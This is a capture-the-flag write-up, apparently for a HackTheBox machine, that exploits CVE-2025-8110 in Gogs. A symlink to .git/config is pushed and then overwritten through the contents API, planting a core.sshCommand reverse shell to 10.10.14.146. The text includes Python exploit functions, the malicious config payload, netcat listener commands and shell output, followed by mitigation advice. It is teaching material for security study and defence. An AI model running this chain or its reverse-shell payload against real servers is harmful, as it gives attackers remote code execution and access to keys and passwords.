The fatal validation flaw in UpdateRepoFile 1 · API request: PUT /contents/malicious_link Path = "malicious_link", content = malicious .git/config 2 · Path check: isRepositoryGitPath("malicious_link") Does not contain ".git/" → passed passed 3 · Symlink check: if opts.IsNewFile { ... } File already exists → IsNewFile is false → check skipped skipped 4 · os.WriteFile follows symlink malicious_link → .git/config → content overwrites Git configuration

The path check sees “malicious_link”, no .git/ prefix, so it passes. The file already exists, so the symlink check is skipped. And os.WriteFile follows the symlink to .git/config and overwrites it.

The result: I control the Git configuration of the repository on the server. And .git/config is effectively executable code. How that works is the next step.

05 · From file write to shell: core.sshCommand

We now have an Arbitrary File Overwrite within the scope of the Gogs process. But how does overwriting .git/config turn into an interactive reverse shell?

How core.sshCommand normally works

Every Git repository has a local .git/config file with settings for that specific repository. One of those settings is core.sshCommand. It tells Git which command to use as SSH client when connecting to a remote. This is a normal feature. Say you have multiple SSH keys and want Git to use a specific deploy key for this project:

[core]
    sshCommand = ssh -i ~/.ssh/deploy_key -o StrictHostKeyChecking=no

When Git performs an operation against an SSH remote, like a push, fetch or pull to a URL like git@server:repo.git, it looks in .git/config for core.sshCommand. If that setting exists, Git replaces the default SSH binary (/usr/bin/ssh) with whatever is configured there. Git executes that command through the shell, with the hostname and Git command appended as extra arguments.

This is the crucial point: Git executes the value of core.sshCommand as a shell command. It doesn’t check whether it’s actually an SSH binary. Whatever is in that value runs with the privileges of the process calling Git, in our case the Gogs server process.

How an attacker abuses this

Since I can overwrite .git/config through the symlink bug, I replace the entire configuration with this:

[core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true
    sshCommand = bash -c 'bash -i >& /dev/tcp/10.10.14.146/10001 0>&1' #
[remote "origin"]
    url = git@localhost:gogs/{repo_name}.git
    fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
    remote = origin
    merge = refs/heads/master

The [remote] and [branch] sections are standard Git configuration. They need to be there so Git considers the repository valid. The problem is entirely in the sshCommand line. Let me break it down piece by piece:

  • bash -c '...': starts a new Bash shell that executes the command between the quotes.
  • bash -i: starts an interactive Bash shell. The -i flag gives us a prompt so we can type commands.
  • >& /dev/tcp/10.10.14.146/10001: redirects both stdout and stderr to a TCP connection to my machine (10.10.14.146) on port 10001. This is a built-in Bash feature: /dev/tcp/host/port isn’t a real file on disk but a syntax that opens a network socket.
  • 0>&1: connects stdin to that same TCP connection. Now everything I type on my machine goes to the shell on the server, and everything the server responds with comes back to me.
  • #: turns the rest of the line into a comment. Git appends the hostname and SSH arguments after the command (bash -c '...' # git@localhost "git-receive-pack '...'"). Without the hash, Bash would trip over those extra arguments. The # disables them.

The result: a full interactive shell session over the network. The server connects to me (hence “reverse” shell), so I don’t need an open port on the server. As soon as Gogs runs an internal Git operation that hits SSH, Git reads the malicious configuration and fires the shell to my listener.

Git core.sshCommand hijacking 1 · Gogs runs Git action git push / sync to remote After the PutContents commit 2 · Git reads .git/config Finds: [core] sshCommand = ... Overrides default SSH binary 3 · Git executes sshCommand bash -c 'bash -i >& /dev/tcp/...' # '#' comments out extra Git args 4 · Reverse shell TCP to 10.10.14.146:10001 Interactive shell as 'git' user

As soon as Gogs tries to sync the change, Git reads core.sshCommand and fires the reverse shell to my listener.

06 · Running the attack

The exploit script (CVE-2025-8110.py) automates the full chain. Let me walk through the code step by step.

Complete attack chain of CVE-2025-8110 1 · Account + API token Register, login, CSRF scraping, REST token generation 2 · Repository creation POST /api/v1/user/repos with auto_init 3 · Symlink push via Git clone → create symlink → commit (120000) → push 4 · Payload injection via API PUT /contents/malicious_link with malicious .git/config 5 · Reverse shell Gogs git operation triggers sshCommand → shell on listener Access as 'git' on the host

Step 1: Authentication

We had found credentials of a Gogs user earlier in the chain. The script first tries to register an account, but when open registration is disabled (as was the case here), it falls back to the login route:

def login(session, base_url, username, password):
    login_url = f"{base_url}/user/login"
    resp = session.get(login_url)
    csrf = extract_csrf(resp.text)

    login_data = {
        "_csrf": csrf,
        "user_name": username,
        "password": password,
    }
    resp = session.post(login_url, data=login_data, allow_redirects=True)

The requests.Session automatically preserves cookies between requests. The script first fetches the login form to scrape the CSRF token, an anti-forgery token that Gogs hides in every form. That token is sent along with the login POST, just as a browser would. If the redirect after the POST doesn’t point back to /user/login, authentication succeeded and the session cookies are preserved for all subsequent API calls.

Then the script generates an API token via the application settings:

def get_application_token(session, base_url):
    settings_url = f"{base_url}/user/settings/applications"
    get_resp = session.get(settings_url, allow_redirects=True)
    csrf = extract_csrf(get_resp.text)

    data = {"_csrf": csrf, "name": os.urandom(8).hex()}
    resp = session.post(settings_url, data=data, allow_redirects=True)

This navigates to the Gogs settings page and creates a new application token with a random name. This token provides authenticated access to the REST API without needing to pass session cookies each time.

Step 2: Repository creation via the API

def create_malicious_repo(session, base_url, token):
    api = f"{base_url}/api/v1/user/repos"
    repository_name = os.urandom(6).hex()
    data = {
        "name": repository_name,
        "auto_init": True,
        "readme": "Default",
    }
    session.headers.update({"Authorization": f"token {token}"})
    resp = session.post(api, json=data)

A POST to /api/v1/user/repos with auto_init: True creates a new repository that already has an initial commit (with a README). This matters: we need an existing repository with a Git history so we can push files to it. The repository name is randomly generated, different each time, so the script can run repeatedly without conflicts.

def upload_malicious_symlink(base_url, username, password, repo_name):
    repo_dir = f"/tmp/{repo_name}"
    clone_cmd = [
        "git", "clone",
        f"{parsed_url.scheme}://{username}:{password}@{parsed_url.netloc}"
        f"{base_path}/{username}/{repo_name}.git",
        repo_dir,
    ]
    subprocess.run(clone_cmd, check=True)

    os.symlink(".git/config", symlink_path)

The script clones the freshly created repository to a temporary directory. Then it creates a symbolic link: malicious_link → .git/config. On the local filesystem this is just a symlink, nothing special. But once Git stores it, it becomes a file with mode 120000 whose content is the path .git/config.

Step 4: Staging as mode 120000 and pushing

    subprocess.run(["git", "add", "malicious_link"], cwd=repo_dir, check=True)
    subprocess.run(["git", "commit", "-m", "Add malicious symlink"], cwd=repo_dir, check=True)
    subprocess.run(["git", "push", "origin", "master"], cwd=repo_dir, check=True)

git add stages the symlink in the Git index as a blob with mode 120000, Git’s internal type for symbolic links. The blob content is literally the string .git/config: the symlink’s target path. After the commit, the script pushes it to the Gogs server. Gogs stores the file as a regular repository object, including the 120000 metadata. On the server, the symlink now exists as repository data.

Step 5: The malicious .git/config payload

In main(), the script builds the payload, a full .git/config file with the malicious sshCommand:

    command = f"bash -c 'bash -i >& /dev/tcp/{args.host}/{args.port} 0>&1' #"

    git_config = f"""[core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true
    sshCommand = {command}
[remote "origin"]
    url = git@localhost:gogs/{repo_name}.git
    fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
    remote = origin
    merge = refs/heads/master
"""

This is the .git/config file that will end up on the server. It looks mostly normal: valid Git configuration with the correct remote and branch settings. But the sshCommand line contains our reverse shell (as explained in section 05). The variables args.host and args.port are filled in with my machine’s IP address and port.

Step 6: the trigger, overwriting .git/config via the API

def exploit(session, base_url, token, username, repo_name, command):
    api = f"{base_url}/api/v1/repos/{username}/{repo_name}/contents/malicious_link"
    data = {
        "message": "Exploit CVE-2025-8110",
        "content": base64.b64encode(command.encode()).decode(),
    }
    headers = {
        "Authorization": f"token {token}",
        "Content-Type": "application/json",
    }
    session.put(api, json=data, headers=headers)

This is where the vulnerability gets triggered. The script sends a PUT request to the Gogs content API endpoint for malicious_link. The payload, our malicious .git/config file, is Base64-encoded in the content field.

Behind the scenes, Gogs calls UpdateRepoFile. The path check sees malicious_link, no .git/ prefix, so it passes. The file already exists, so IsNewFile is false, and the symlink check is skipped. Then os.WriteFile writes the payload to the path of malicious_link, but the OS follows the symlink and writes to .git/config. Gogs then processes the commit and runs internal Git operations, and at that moment Git reads the malicious configuration and fires the reverse shell.

Setting up the listener and running the script

On my machine I start a Netcat listener, then the exploit script:

$ nc -lvnp 10001
listening on [any] 10001 ...
$ python3 CVE-2025-8110.py -u http://gpz-op26-toolkits.ghostlink.htb -lh 10.10.14.146 -lp 10001

Execution of the exploit script

The output: successful authentication, token generation, repo creation, symlink push and the API call.

[+] Authenticated successfully
Token generation status: 200
Repo creation status: 201
[master 99bfb60] Add malicious symlink
 create mode 120000 malicious_link
[+] Exploit sent, check your listener!

And almost immediately the connection lands on my listener:

Interactive shell as git user

The reverse shell lands: whoami confirms we’re executing code as git on gpz-op26-toolkits.

connect to [10.10.14.146] from (UNKNOWN) [10.129.86.15] 43812
git@gpz-op26-toolkits:~/data/ssh$ whoami
git
git@gpz-op26-toolkits:~/data/ssh$ id
uid=1000(git) gid=1000(git) groups=1000(git)

From here I can read SSH keys, extract database passwords from app.ini, and push deeper into the internal network.

07 · Blue team: where does this attack break?

This chain could have been broken in several places:

  • Patch. The only definitive fix is Gogs 0.13.4 or newer. The new code checks all path segments for symlinks, regardless of whether the file is new or existing.
  • No open registration. CVE-2025-8110 requires an authenticated account with repo creation privileges. Disable open registration in app.ini (DISABLE_REGISTRATION = true, REQUIRE_SIGNIN_VIEW = true). Without an account, an external attacker can’t reach the vulnerable API.
  • Least privilege and egress filtering. Run Gogs as a non-root user in a sandboxed container. An internal Git server rarely needs to open outbound TCP connections to arbitrary IPs and ports: proper firewall rules kill reverse shells before they connect.
  • Monitor for symlinks in repositories. Files with mode 120000 pointing at .git/ or system configs are a red flag. Enable audit logging on changes to .git/config files within Gogs repository storage.

08 · The lesson

The core I carry forward:

  1. String validation is not filesystem validation. Checking a path with strings.HasPrefix or path.Clean says nothing about where the filesystem actually lands when symlinks are in play. Always resolve the full canonical path (filepath.EvalSymlinks) before granting write access.
  2. Standard write functions follow symlinks. In Go, Python and many other languages, the default file-write dereferences symlinks without warning. Use O_NOFOLLOW where possible, or verify upfront.
  3. Git configuration files are executable code. .git/config contains powerful directives like core.sshCommand and core.fsmonitor. Never let users write directly or indirectly to a repository’s .git metadata.
  4. Static assets betray your version. Hide your version banners, but don’t forget your asset cache busters. A commit hash in a <script> tag often tells an attacker more than a formal version number.

Vragen of een fout gevonden? Mail said444b@gmail.com, correcties maken de volgende writeup beter.